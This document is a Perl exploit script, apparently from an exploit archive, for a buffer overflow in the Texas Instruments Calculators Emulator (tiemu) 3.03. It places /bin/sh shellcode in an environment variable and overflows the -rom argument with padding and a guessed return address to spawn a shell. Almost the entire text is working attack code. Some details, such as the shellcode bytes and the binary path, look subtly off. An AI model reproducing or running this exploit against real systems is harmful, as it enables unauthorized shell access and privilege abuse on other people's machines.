Texas Instruments Calculators Emulator 3.03 Buffer Overflow

#!/usr/bin/perl

#################################################################
#This exploit uses command line arguments for different offsets # 
#So it can be tested on different systems *NIX Flavours         #                        
#################################################################


##########################################################################
#Texas Instruments Emulator exploit                                      #
#Version: 3.03-nogdb+dfsg-3                                              #  
#                                                                        #
#As discussed here previously: https://www.exploit-db.com/exploits/39692/#
#And here https://packetstormsecurity.com/files/136679/Texas-Instruments #
#-Calculators-Emulator-3.03-nogdb-dfsg-3-Buffer-Overflow.html            #
#                                                                        #
#               EMAIL ->  n_a at tutanota.com                            #
#                                                                        #
##########################################################################

$filename = "usr/bin/tiemu"; #path name of the binary
$shellcode = 
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\xb0\x0b\xcd\x80";

#Calculating the return address of our shellcode
$ret = 0xbffffffa - length($shellcode) - length($filename);

#Try different offsets
$offs = $ARGV[0];


print "\n***Local Exploit for Texas Instruments Emulator***\n";
print "\t\tBy N_A\n\n";
print "Use: $0 Offset\n\n";
sleep 1;
printf("Ret Shellcode 0x%x\n",$ret + $offs);



$adr = pack('l', ($ret + $offs));
$buff = 'A' x 96;
$buff .= $adr x 6;

#Set buffer in local var
local($ENV{'NNN'}) = $shellcode;

exec("$filename -rom= $buff");

#eof